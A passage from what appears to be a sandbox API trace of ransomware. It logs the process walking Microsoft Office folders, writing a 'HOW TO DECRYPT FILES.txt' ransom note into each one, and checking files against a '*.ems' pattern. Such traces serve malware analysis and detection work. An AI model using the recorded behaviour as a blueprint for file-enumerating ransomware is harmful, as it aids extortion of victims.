(lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.785] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.785] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*.*") returned="*.*" [0065.785] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" [0065.785] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\") returned="" [0065.785] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\HOW TO DECRYPT FILES.txt" [0065.785] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\how to decrypt files.txt")) returned 0xffffffff [0065.785] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0065.789] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.789] CloseHandle (hObject=0x90) returned 1 [0065.789] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\", lpString2="Microsoft.Office.Infopath.dll" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.Infopath.dll") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.Infopath.dll" [0065.789] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.Infopath.dll", pszSpec="*.ems") returned 0 [0065.790] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0065.790] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.790] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.790] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.Infopath.dll") returned="Microsoft.Office.Infopath.dll" [0065.790] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" [0065.790] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\") returned="" [0065.790] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\HOW TO DECRYPT FILES.txt" [0065.790] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\how to decrypt files.txt")) returned 0x20 [0065.790] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\", lpString2="Microsoft.Office.InfoPath.xml" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" [0065.790] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml", pszSpec="*.ems") returned 0 [0065.790] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0065.790] FindClose (in: hFindFile=0x502558 | out: hFindFile=0x502558) returned 1 [0065.791] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0065.791] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0065.791] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.791] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.791] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Infopath.dll") returned -1 [0065.791] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*.*") returned="*.*" [0065.791] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" [0065.791] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\") returned="" [0065.791] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO DECRYPT FILES.txt" [0065.791] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\how to decrypt files.txt")) returned 0xffffffff [0065.791] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0065.795] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.796] CloseHandle (hObject=0x8c) returned 1 [0065.796] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\", lpString2="Microsoft.Office.Infopath.dll" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll" [0065.796] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll", pszSpec="*.ems") returned 0 [0065.796] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0065.796] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0065.796] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.796] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.796] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.InfoPath.xml") returned -1 [0065.796] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll") returned="Microsoft.Office.Infopath.dll" [0065.796] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" [0065.796] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\") returned="" [0065.796] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO DECRYPT FILES.txt" [0065.796] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\how to decrypt files.txt")) returned 0x20 [0065.796] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\", lpString2="Microsoft.Office.InfoPath.xml" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" [0065.797] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml", pszSpec="*.ems") returned 0 [0065.797] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0065.797] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0065.797] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0065.797] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.797] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="INLAUNCH.DLL") returned -1 [0065.797] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="INLAUNCH.DLL") returned -1 [0065.797] lstrcmpiA (lpString1="", lpString2="INLAUNCH.DLL") returned -1 [0065.797] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\*.*") returned="*.*" [0065.797] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.797] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.797] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.797] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.797] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="INLAUNCH.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL" [0065.797] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL", pszSpec="*.ems") returned 0 [0065.797] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x1bac000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_resources14.xss", cAlternateFileName="INSTAL~1.XSS")) returned 1 [0065.797] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.797] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Installed_resources14.xss") returned -1 [0065.798] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Installed_resources14.xss") returned -1 [0065.798] lstrcmpiA (lpString1="", lpString2="Installed_resources14.xss") returned -1 [0065.798] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL") returned="INLAUNCH.DLL" [0065.798] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.798] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.798] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.798] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.798] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="Installed_resources14.xss" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss") returned="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" [0065.798] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss", pszSpec="*.ems") returned 0 [0065.798] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_schemas14.xss", cAlternateFileName="INSTAL~2.XSS")) returned 1 [0065.798] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.798] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Installed_schemas14.xss") returned -1 [0065.798] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Installed_schemas14.xss") returned -1 [0065.798] lstrcmpiA (lpString1="", lpString2="Installed_schemas14.xss") returned -1 [0065.798] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss") returned="Installed_resources14.xss" [0065.798] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.798] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.798] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.798] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.798] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="Installed_schemas14.xss" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss") returned="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" [0065.798] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss", pszSpec="*.ems") returned 0 [0065.798] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf65300, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xd5938280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2bf65300, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1 [0065.798] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.798] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="INTLDATE.DLL") returned -1 [0065.798] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="INTLDATE.DLL") returned -1 [0065.799] lstrcmpiA (lpString1="", lpString2="INTLDATE.DLL") returned -1 [0065.799] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss") returned="Installed_schemas14.xss" [0065.799] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.799] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.799] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.799] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.799] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="INTLDATE.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\INTLDATE.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\INTLDATE.DLL" [0065.799] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\INTLDATE.DLL", pszSpec="*.ems") returned 0 [0065.799] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36330000, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64a2d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36330000, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x98b578, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDESIGN.DLL", cAlternateFileName="")) returned 1 [0065.799] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.799] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IPDESIGN.DLL") returned -1 [0065.799] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IPDESIGN.DLL") returned -1 [0065.799] lstrcmpiA (lpString1="", lpString2="IPDESIGN.DLL") returned -1 [0065.799] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\INTLDATE.DLL") returned="INTLDATE.DLL" [0065.799] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.799] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.799] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.799] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.799] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IPDESIGN.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL" [0065.799] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL", pszSpec="*.ems") returned 0 [0065.800] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x8a4d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDITOR.DLL", cAlternateFileName="")) returned 1 [0065.800] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.800] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IPEDITOR.DLL") returned -1 [0065.800] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IPEDITOR.DLL") returned -1 [0065.800] lstrcmpiA (lpString1="", lpString2="IPEDITOR.DLL") returned -1 [0065.800] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL") returned="IPDESIGN.DLL" [0065.800] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program 